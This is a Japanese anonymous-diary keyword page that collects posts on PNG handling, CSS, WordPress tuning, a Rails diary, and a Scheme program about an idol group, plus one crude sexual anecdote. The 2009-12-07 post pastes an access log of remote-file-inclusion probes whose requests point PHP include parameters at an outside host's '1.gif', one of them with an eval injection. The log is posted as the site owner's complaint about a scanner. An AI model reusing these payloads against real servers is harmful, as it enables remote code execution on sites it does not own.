「PNG」を含む日記 RSS

はてなキーワード: PNGとは

2010-04-17

http://anond.hatelabo.jp/20100417232725

そうなんだよ!

AppleってAdobeの件ではソフトウェア本質はとか、なんか、高速なとかいろいろ言ってる癖に

iTunesWindowsインストールすると

恐ろしい汚染をするよね。

特にデバドラ系が変に監視してるのと

QTが重いのにデフォルトプレイヤーになろうとしたりブラウザPngとかのデフォルトになったり・・・

だよね!だよね!

2010-03-10

http://anond.hatelabo.jp/20100310030226

Firefoxズーム機能では、背景として指定した画像が拡大されないって仕様があるの。実際、ズーム機能なんて使っている人がいるのか疑問だけど…(Ctrlと+、-の同時押しでズームイン・アウト、Ctrlと0を同時押しでリセット)。ズームインをしていくと、文字だけがでかくなっていって背景からはみ出ていっちゃうの。確かSleipnirにも同じような仕様があったはず。

CSS3で影を作れば、ズームインしていくと影もズームインしてくれて一件落着なんだけど、画像で影を作ってズームインにも対応しなきゃいけないとなるとさあ大変。影を8つに分割する必要が出てくる。

┌─┐

│ │

└─┘

こんな感じに。┌は左上に固定、┐は右上、└は左下、┘は右下。│は左端と右端に配置して縦に繰り返し、─は上端と下端に配置して横に繰り返し。こうすれば影をつけなきゃいけないブロックの大きさが変動しても、影がきれいにつきまとってくれる。

CSS3になって、背景画像を複数指定できるようになったけど、「どこからどこまで繰り返し」みたいな指定はできない。

┌ 左上 繰り返しなし

┐ 右上 繰り返しなし

└ 左下 繰り返しなし

┘ 右下 繰り返しなし

─ 上  横繰り返し

─ 下  横繰り返し

│ 左  縦繰り返し

│ 右  縦繰り返し

こういうふうになるようCSSを書いたとして、「┌ 左上 繰り返しなし」と「─ 上  横繰り返し」は左上で少しかぶるでしょ。αこみのPNGだったら重なった部分だけ色が変わっちゃう。そんなこんなで、いろいろなことをやらなきゃいけなくなっちゃうというわけなのです!

あ、ちなみにCSS3のbackground-sizeを使えば背景画像の大きさの調整ができます。

http://anond.hatelabo.jp/20100310024246

横からですが、正に思うんだけど、αコミPNG画像シャドウじゃだめなんだろうか?

レガシーでもIE6じゃなきゃある程度いけるし。

HTML5とかを見てると思うのですが、レガシーで出来ることをわざわざHTMLCSSでやる意味をあまり感じない。

あと、その逆で彫像とか彫刻とか古くの美術品って数百年後の今でも楽しめるのに

HTMLなんちゃらのホームページって、10年後にはブラウザが非対応になっていてデザイン崩れてそう。

すでにJSゴリゴリサイトは古いものは互換性で見られなかったりというのが無くも無い。

あ、思っただけです。横ですみません

 

どうでもいいけど、HTML+CSSってコーディングなのか、そうかぁ、コーディングかぁ。すごいなぁ。

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-05-10

プロフィール写真pngPs elementsで作成)で登録できない!

http://anond.hatelabo.jp/20090201022835

今さらだけど

結局どのソフトで作ったpngなら登録できるかわかる人いる?

Photoshop Elements 6ではダメだった。

あと上のリンク増田の話からするとirfanviewダメなんでしょ。

http://i.hatena.ne.jp/idea/15946によればWindows付属のペイントでもダメっぽいし。

2009-03-06

レスポンス改善させたら、AdSense収益が1.5倍になった

WordPressブログ(というよりは、データベースに近い感じ)を続けて半年。

WordPressを入れてしばらくは、楽しくてしょうがなかった。

記事が書きやすいのなんの。プラグインも色々あって楽しいし、デザインを入れ替えて四苦八苦するのも楽しい

一番楽しいのは、コメントの「スパム」ってリンクを選ぶと、しゅわーって消えていくところ。すげー! なんかゾクゾクした。たぶん俺は変態だと思う。

でも、それからしばらくすると、違うところが気になりだした。

遅い。遅すぎる。

だって、ローカルからアクセスしてもページ表示に2秒かかるんだよ? リモートからだと間違いなく3秒は掛かる。デッドライン。死ぬ。いや、死ね! 愛してる! >貧弱サーバ

ダイヤルアップの頃に画像非表示で快適なネットサーフィン死語)をやっていた俺からすると、いくら便利だからってこれは許容できん。ブロードバンドで「速度がはやい」のに、「時間としては早くない」とは何事。

というわけで、色々やってみた。

そしたら、ローカルから1秒弱、リモートからも2秒以内(たぶん)で表示されるくらいに改善

一番驚いたのが、AdSense収益が1.5倍になったこと。PVは2倍以上。うはうは。

やってみたことをまとめてみる。

mod_cache

最初にやってみたのがmod_cachephpなんか呼ばずにApacheで処理してくれと。

あれ? 動かない。 ふむふむ、Last-Modifiedを付けろと…

あれ? 動かない。キャッシュファイルは出来上がってるみたいだけどぜんぜん早くならない。

結果: ぐぐってみると、mod_rewrite + mod_cache の組み合わせは不可でした orz パッチ当てればいいらしいけど、めんどい

WP-Cache

プラグインキャッシュだなんて、WordPressどんだけ自由度高いんだよと思いつつ。

結果: ちょっと早い… かな? イマイチだと思ったので計らなかった。

MySQLクエリキャッシュ

当たり前にされているらしいけど、今まで全く気にしてなかった。常にキャッシュさせた。

結果: 0.3~0.4秒くらい早くなった。パケットキャプチャして確かめた。

APC

PHPコードキャッシュするとかいうやつ。

WP-Cacheと相性が悪いとか悪くないとかなので、WP-Cacheを外して実験

結果: 0.7秒くらい早くなった。これもパケットキャプチャして確かめた。

おまけ: デザインの改変、リモート向け対策

ページそのものとか、ローカル環境では無関係なんだけど、「体感速度」と「ロード終了」も早くしたかったので。

総合結果

MySQLクエリキャッシュ + APC。これで1秒ちょっと早くなった。

ローカルからの表示時間は半減。おまけの効果で、体感的にはもうちょっと早く感じる。

HTMLを読むのと比べれば圧倒的に遅いんだけども、以前と比べてかなり早くなったので満足。

そして

しばらく放っていると、AdSense収益が増えていることに気付く。しかも1.5倍に。

PVも増えてる。いや、PVが増えたぶん、AdSense収益も増えてる、と言うほうが正確か。

…お前らどんだけせっかちなんだよ!

でも色々嬉しかったので許す。

2009-02-01

http://anond.hatelabo.jp/20090201022835

元増田の指摘したい問題点が、

  • pngをアップできるはずなのに、できないこと

なのか、

なのか、どっちなのか知りたい。両方かな?

前者は、はてなからしたら環境固有の問題~と判断してスルーしてるのかも。

後者だとしたら、エラーメッセージくらいちょちょっと修正しようぜ、って感じだな。

http://anond.hatelabo.jp/20090201022835

ファイル保存時にファイル名を「filename.png」にしてもJPGで保存されてしまう場合がある。「filename.png.jpg」みたいな感じに。

そうなってないか?

こんな明らかな不具合をいつまでも残しているはてなはいったい何なの

プロフィール画像の設定画面にはこんな事が書いてある

アップロードできる画像の種類はjpg , png , gifです。

しかし実際にpng形式の画像アップロードしてみると

アップロードできる画像の種類は jpg, png, gif, bmp です。

などというおかしなメッセージが出てアップロードに失敗する(IEの場合)

ちなみにこの不具合はちゃんとはてなアイデアに提出済みだ

http://i.hatena.ne.jp/idea/15946

しかし、上場から一年も経っているのにはてなは検討すらしていない

明記してある画像形式と実際に使える画像形式が違うなんて明らかな不具合をいつまでも残しているなんて、はてなはいったい何を考えているのだろうか。

はてな馬鹿になっているというのも頷ける事例だ

2008-12-02

オナニーのしすぎでタコができた

ちんこに。

出来たといっても、出来立てホヤホヤではなく、もう2ヶ月ほど僕のチンコに居座っている。

場所はカリの下らへんで、ちょうど握り締めた指が当たる部分。

見たくはないだろうけど一応張っておく

ttp://gyazo.com/ec9e84b4d997997748bd31cff1589ef8.png

さすがにもう年も暮れていくし、そろそろチンコに出来たタコともお別れしようと思って、さっき思い立って引っ張ってみた。

いい具合に角質化してて、ささくれた唇の皮のようにポロっと取れると思ってた。

毎日タコの具合を確かめるのによく触ってみてたし、別に何も起こらないと思ってた。

いい具合に硬くなった部分がポロっと取れてくれるはずだと思ってたんだけど、

角質化した皮が伸びてツノのようになってしまった。

このままじゃパンツに引っかかるし、コンドームなんてつけた日には破けてしまいそうだったから、意を決してハサミで切った。

結局、引っ張って伸びる前のサイズに戻っただけで何も変わらなかった。

また何ヶ月かして、チンコに居座ったタコに嫌気が差して同じようなことを繰り返すだろうけど、きっとまた同じような結果になるだろうから、何か根治する方法は無いんだろうか。

2008-02-20

IE7入れるとIE6でpngfixきかない件

-----------------------

IE7インストールしたマシンスタンドアロンのIE6を起動

pngfix(IE6以下向けの透過pngを表示する技術)を使ってるページを見る

マズー(画像が表示すらされない)

-----------------------

IE PNG Alpha Fix v1.0 RC4(http://www.twinhelix.com/css/iepngfix/demo/) のデモサイト等で確認くださいませ。

IE6がメインIE7スタンドアロンだとOKだった。

IE7メインでIE6がスタンドアロンだとOUT。

ちゃんと検証してないけど多分間違いないはず。

まぁ、コレに引っかかる変態web製作関係者だけだろうけど。。。

2007-10-07

プログラミングがわからない

俺もね、なんかクリエティブなことしたい

末端消費型オタクから少しでも脱却して青酸的なことをしたいなー

なんて考えてたわけですよ。

そしたら、難ですか?デリーデルヒ?でるふぁい?

そんなんのがタダで使えるっていうからダウンロードして

シコシコその辺の解説ページを参考にしつつ精進していったわけですよ。

はてなの住んでるうん子どもに出来るンなら俺にできない道理はない。

むしろ、やる前から既にできてるだろ?みたいな。

後、C+とかいうのは名前のグレード的に「中の上?」な印象だったので

薦める人やたら多くてもガン無Cですよ。

まぁーそんで「こんにちわ世界」みたいななんかNice暴徒な文章表示させてですね、

将来的には同人エロゲで末端オタクどもから搾取してウハウハで

「もう利用される側はまっぴらだ!俺は利用する側になるんだ!」と叫ぶ

タクティクスなんとか男になる予定だったんですけど。

なんですか?あれ。

変数って変な数のことですか?

代入って代理入学のことですか?

ま、

そこらへんまではなんとか覚えましたよ。

俺だって知能指数は3000万ですから。

ところがその次がいけない。

なんだよ解説者。

何、さも当然のように見たこともない命令駆使してんだよ。

ってか、なんだよ。

「この章からは、他のプログラミング言語に少しでも触れたことのある方を対象に??」

なめてんのか?

最初の「まったくの初心者でも0から教えます!」っていう触れ込みはどーした。

言ってること全然違うんじゃん。

機械言語のいじりすぎで日本語忘れたのか?

あ、またエラー吐いた。

いちおう書いてあるとおりにやったつもりなんだけどな。

また記号でも打ち間違えたかな。

えーと、あれ?

そもそもここらへんの文、何を意味してるんだっけ?

書いてねぇの。

ヘルプも何なのか教えてはくれてはいるんだけど

結局、何が問題なのかはわからない。

なめてのか。

えーと、これがあそこと繋がってて、

んで間接的にあーなってて、ああ、そういや最初の宣言文・・・

あ、何、pngダメなの?ダメじゃないの?

もういやだわかんないもうやめるもうしたくないみたくないしねよばーか

俺の人生そんなんばっかだ。

2007-09-27

[]11日目

前回までのあらすじ

[Ruby]10日目

http://anond.hatelabo.jp/20070925223241

id/passの再発行を申請したら届いたのはなんとブログid/passだった!!

はたして締め切りに間に合うのか!!


はい、間に合うはずもありませんね。

夏休み宿題夏休みがおわってからやる主義の増田ですこんにちは

一応エントリーだけはしておきました。

サービス開始できてないけどな!


今日Ruby(正確には24時間ぐらいまえの)

next if  :nextcontinueみたいな感じ。この表記に違和感

unless  :こんな書き方にはなにかなじめない。

一行if文が嫌いな増田には余計耐えられない。

@user = params[:id].nil? ? @myuser : User.find(params[:id])

こういう書き方が嫌い。意味わからん。

画像DB格納で苦戦

正直嵌った。

win環境がどうのがいけなかったのかと、

あれこれいじってみたのだけど、そうではなかったようだ。

start_form_tagに :multipart => true がぬけていた。

あと、{}で引数位置指定しないといけないんだと…。

http://techno.hippy.jp/rorwiki/?HowtoUploadFiles
http://www.fdiary.net/ml/rails/msg/1375/0/
start_form_tag({:action => 'create'}, :multipart => true)

これは結構やりがちなミスかもしれない。

ちなみに、本のサンプルも間違っていたので余計嵌った。

image_tagで拡張子なしのファイルを読み込むと勝手png拡張子がついてくる。

おかげさまで表示されない。

http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html

どうやら画像ファイル拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。

url_for(:action => 'xx', :id => 'xx', :extension => '.jpg')

対処療法でしかない。これだとjpgしかできないので正直どうしたものか。

:content_typeを一応保存しているので後から拡張子をつくることもできるが、

きっとなにかいいものがそのうちできるはず!!というかあるはず!!

→時間がなかったのでうっちゃった

redirect_back_or_defaultの使いどころに悩む。

ruby画像を描画させているばあい、画像にもどってしまうからだ。

この挙動は最初意味わからなかったぜ。

→時間がなかったので最初の画面に飛ばして誤魔化した

テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう??

例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな

感じになるんだけど、正直気持ち悪い。

@catchcopy_pages, @catchcopy = paginate :catchcopies,

:conditions => contitions_str,

:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',

:joins => 'left outer join users on user_id = users.id ',

:order => 'created_at DESC' ,

:per_page => 10

ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。

belongs_toとかではそこまでやってくれないものなのか。

ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。

大会サーバアクセスできた

パスワードメールで送ってもらってアクセスできるようになった!

ftpは公開してないのね…? FTPあけてくれよ!!!

しかたないのでSSHアクセス

われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。

rcpもscpもうまくできない。

これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、

問題の切り分けがそもそもできないので諦めた。

SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね?

こっち閉じてるもの…。

wgetは生きていたので他のレンタルサーバー経由ファイルを取得。

ちなみにrcpができないのであげっぱなしさ!

が、しかし。unzipがはいってない。

tarで圧縮して、

tar xvf xxxx.tar

unzipがないのでzがつかえない。

フォルダの権限設定などをして、ローカライズ

せっかく

ENV['RAILS_ENV'] ||= 'production'

みたいなymlがあるのに、

dispatch.cgi

dispatch.fcgi

に書かれた

#!c:/ruby/bin/ruby

#!/usr/bin/ruby

に変更しなきゃいけないのは、何かあれだなと思った。

これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。

ちなみにmysqlのソケットの位置も違うようなので、

/tmp/mysql.sock

socket: /var/run/mysqld/mysqld.sock

をymlに設定。

できればconfファイルフラグの書き換えだけで乗り換えしたかった。

最近linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。

witch ruby でインストールフォルダを割り出したり、

・・・findというコマンドが思い出せないときは情けなかった。

viコマンドも同様。

そうこうしながら設定完了

本番環境テスト動作

あれ、動かない・・・500エラーが出てる。

wget経由でdispatch.cgiをそのまま配置したのが原因でした。

中身みたらcgiエラー出力が書いてあった。

中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。

うごいたーー!!

でも、登録すると文字化けしている。

SQLで中身をみる。中身も文字化けしている。

おかしいなぁ……。

SQL>status

DBがlatin1になっていた…。

CREATE DATABASEも権限ないし…。

my.cnfも読み込み専用だった。

alter database XXXX DEFAULT CHARACTER SET utf8;

alter table XXXX DEFAULT CHARACTER SET utf8;

みたいな悪あがきもしてみたけど適わぬ夢。

SET NAMES utf8;

でもコネクションのところあたりでやってあげたいのだけど、

こういうときにRailsみたいなのは何がどこにあるのかわからない。

しょうがないので運営に問合わせしてみました。

ratin1は正直太刀できるきがあまりしない。

感想

unixとかlinuxとかそこらへん全然わからん…。

8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、

アプリっぽいのはできあがった。

が、どうなのさ・・・。RonR

また今度Ruby感想でもくっちゃべるよ。

[Ruby]タグでもひいておくれ。

なんていうか消化不良。

もっとちゃんとしたものつくりたいな……。

2007-09-07

ようこそ、℃-uteLisp の世界へ

発祥: http://ex23.2ch.net/test/read.cgi/morningcoffee/1188654905/

はじめに

Scheme という Lisp 語族言語を用いて ℃-ute相関関係プログラムし、様々な角度から関係性を分析する手法を紹介していきます(ソースコードは最後に張ります)。

まずは、メンバー間の関係を「リスト」というデータ型で表現します。例えば「栞菜->愛理」という関係

(kanna . airi)

という形で表すことができます。これに、「大好き」という情報を付加し、ついでにその関係の性質を数値化したものを加えると

((kanna . airi) (desc "大好き") (score . 1))

のようになり、関係図における一つの矢印の情報データ化できたことになります(暫定的に、好意は 1、良好・中立は 0、険悪は -1 の3段階で表すことにします)。

メンバー間の全ての関係性をこのデータ単位で定義し、データベース化しておくことで、色んな条件に基づいた検索やスコア計算などが可能となります。

例 1: リンク状況の調査

ここで相関関係図における矢印を「リンク」と呼ぶことにして、あるメンバーから他のメンバーへどのようにリンクし、またリンクされているかを調べることができます。

関係の中からリンクの起点を抽出してソートしてみると

(sort-nodes (number-list (from-links)))

結果:

((kanna . 6) (saki . 5) (maimi . 4) (erika . 3) (mai . 3) (chisato . 3) (airi . 2))

栞菜ちゃんがメンバー全員にリンクを張っていることが分かり、℃-ute ラブっぷりが伺えます。なっきーにも同様の事が言えます。例の「女の子が好き」発言を数値的に裏付ける結果と言えるかもしれません。

ただ、データ不足でリンク件数がまだ少ないのと、リンクの性質(好意/反感など)までは分からない点を考慮する必要があるでしょう。

例 2: 被リンク状況の調査

同様に、リンクの終点の件数を調べてみます。

(sort-nodes (number-list (to-links)))
((chisato . 5) (erika . 5) (kanna . 4) (maimi . 4) (airi . 4) (mai . 3) (saki . 1))

えりかちゃんと千聖ちゃんが高ポイントです。メンバーからの人気や注目度の高さを示すデータですが、千聖ちゃんの場合敵対的なリンクが2件含まれている点に注意してください。

なっきーの被リンク数が極端に少ないですが、単純にデータ不足のためだと思われます。はぶら(ryとか言わないようにお願いします。

例 3: 愛情度の評価

リンクに付随するスコアを計算することで、愛情の度合いを測ることができるのではないか、という考えに基づく研究です。

まず、全ての関係性を対象として、スコアマイナス関係を抽出してみます。

(filter-nodes (lambda (n)
		(< (score-relation n) 0)))

結果:

(((kanna . chisato) (desc "愛理に手出すんじゃねぇよ") (score . -1))
 ((saki . chisato) (desc "愛理に手出すんじゃねぇよ") (score . -1)))

件数だけを得ると

(length (filter-nodes (lambda (n)
			(< (score-relation n) 0))))
2

僅か2件です。

良好・中立的な関係

(length (filter-nodes (lambda (n)
			(= (score-relation n) 0))))
8

愛に満ちた関係

(length (filter-nodes (lambda (n)
			(> (score-relation n) 0))))
16

非常に多いです。舞美ちゃんの「℃-ute同士でラブラブなんですよ」発言(例のラジオ)を数値的に裏付ける結果と言えるんじゃないでしょうか。

次に、メンバーごとのスコアを算出してみます。Lisp 的には以下のようにフィルタリングと畳み込み (fold) で計算することができます。例えば

(foldr (lambda (n acc)
	 (+ (get-score n) acc))
       0
       (filter-nodes (cut to? <> 'kanna)))

栞菜ちゃんに対するリンクスコアが得られます。結果:

3

上式を一般化して一挙にメンバー全員に適用してみると

(sort-nodes (map (lambda (x)
		   (cons x (score-loved x)))
		 (all-members)))

結果:

((airi . 4) (kanna . 3) (mai . 2) (erika . 2) (maimi . 2) (saki . 1) (chisato . 0))

愛理ちゃんが好意を寄せられやすい傾向が伺えます。

今度は逆方向のスコアを計算してみると

(sort-nodes (map (lambda (x)
		   (cons x (score-loving x)))
		 (all-members)))
((kanna . 3) (maimi . 3) (chisato . 2) (airi . 2) (saki . 2) (mai . 1) (erika . 1))

まいまいえりかちゃんが特に堅い・一途だという傾向を読み取ることができます。

例 4: 相性の調査

今度は組み合わせ(カップリング)の評価です。

2点間相互のリンクスコアを加算したものを「相性」と考えられるものとします。最大値 (互いに好意を寄せている場合の数値) は現在スコアリング方式では 2 です。例えば

(score-between 'kanna 'airi)

の値は

2

となります。1 であれば一方通行と考えます。

関係性が未定義の場合もあるので 0 のものを除外して算出すると

(sort-nodes (filter (lambda (n)
		      (not (= (cdr n) 0)))
		    (map (lambda (n)
			   (cons n (apply score-between n)))
			 (all-combinations))))
(((chisato mai) . 2)
 ((chisato airi) . 2)
 ((airi kanna) . 2)
 ((saki kanna) . 2)
 ((kanna maimi) . 2)
 ((erika maimi) . 2)
 ((saki airi) . 1)
 ((saki erika) . 1)
 ((kanna mai) . 1)
 ((maimi airi) . 1)
 ((saki chisato) . -1)
 ((kanna chisato) . -1))

となります。若干ピンとこない部分もあるかも知れませんが、計算上は矛盾無くデータの内容を表しています。

参考までに、スコア 1 の相互関係の中身を見てみると

(map (lambda (p)
       (find-relation (cons (caar p) (cadar p))
		      identity))
     (filter (lambda (n)
	       (= (cdr n) 1))
	     (map (lambda (n)
		    (cons n (apply score-between n)))
		  (all-combinations))))
(((kanna . mai) (desc "喰ってやるよ") (score . 1))
 ((saki . airi) (desc "好き") (score . 1))
 ((maimi . airi) (desc "良き妹") (score . 1))
 ((saki . erika) (desc "彼氏にしたい") (score . 1)))

のようになります。

まとめ

以上の調査を経て気になった問題点を列挙してみます。

特に最初の点に関して、「百合的」なるものの質的評価がなかなか難しいと感じました。例えば「大好き」も「良き妹」も同じ 1 と評価してしまっているのが妥当かどうか、といったことです。

また、スレにて与えられた情報を評価・分析する方法としては有効だとしても、逆方向のフィードバックの手段がなかなか見つからないというのが三つ目の問題です(技術力不足とも言います)。(注:画像化の方法が分かりました。追記参照)

最後に、プログラムソースを示します。実行には PLT Scheme が必要です。文字コードUTF-8 で保存した上で、(load "c-ute.ss") としてください。文字化けする場合はターミナルUTF-8 を表示できるよう設定する必要があります。がんばってください。

プログラム

c-ute.ss:

(require (lib "etc.ss")
         (lib "list.ss")
         (lib "26.ss" "srfi")
         (lib "delete.ss" "srfi" "1"))

;;; Utilities

(define true? (compose not not))

(define (ignore _) #f)

(define fif
  (case-lambda
    ((predicate consequent)
     (fif predicate consequent ignore))
    ((predicate consequent alternative)
     (lambda (x)
       (if (predicate x)
           (consequent x)
           (alternative x))))))

(define (concat! xs) (apply append! xs))

(define (mapconcat f lst sep)
  (let lp ((str (f (car lst)))
           (lst (cdr lst)))
    (if (null? lst)
        str
        (lp (string-append str sep (f (car lst)))
            (cdr lst)))))

(define (slice-string str len)
  (let lp ((res '())
           (str str))
    (if (<= (string-length str) len)
        (reverse! (cons str res))
        (lp (cons (substring str 0 len) res)
            (substring str len)))))

(define (break-string str len)
  (mapconcat identity (slice-string str len) "\\n"))

;; NOTE: input and output ports have to be either file-stream or #f
;; (i.e., cannot be a string port)
(define (run exe opt in out)
  (let-values (((p p-i p-o p-e)
                (subprocess out in #f exe opt)))
    (subprocess-wait p)
    (close-input-port p-e)))

;;; Database

;; http://ja.wikipedia.org/wiki/%E2%84%83-ute

(define names
  '((erika . "えりか") (maimi . "舞美") (saki . "早貴") (airi . "愛理")
    (chisato . "千聖") (mai . "舞") (kanna . "栞菜")))

(define (symbol->name sym)
  ((fif true?
        cdr)
   (assq sym names)))

(define nodes '())
(define edges '())

(define (relate from to desc score)
  (let ((n (cons from to)))
    (or (find-relation n
                       (lambda (r)
                         (let ((d (assq 'desc r))
                               (s (assq 'score r)))
                           (set-cdr! d (cons desc (cdr d)))
                           (set-cdr! s (+ score (cdr s))))))
        (begin
          (set! nodes (cons n nodes))
          (set! edges (cons (cons n `((desc ,desc)
                                      (score . ,score)))
                            edges))))))

(define (find-relation n k)
  ((fif true? k)
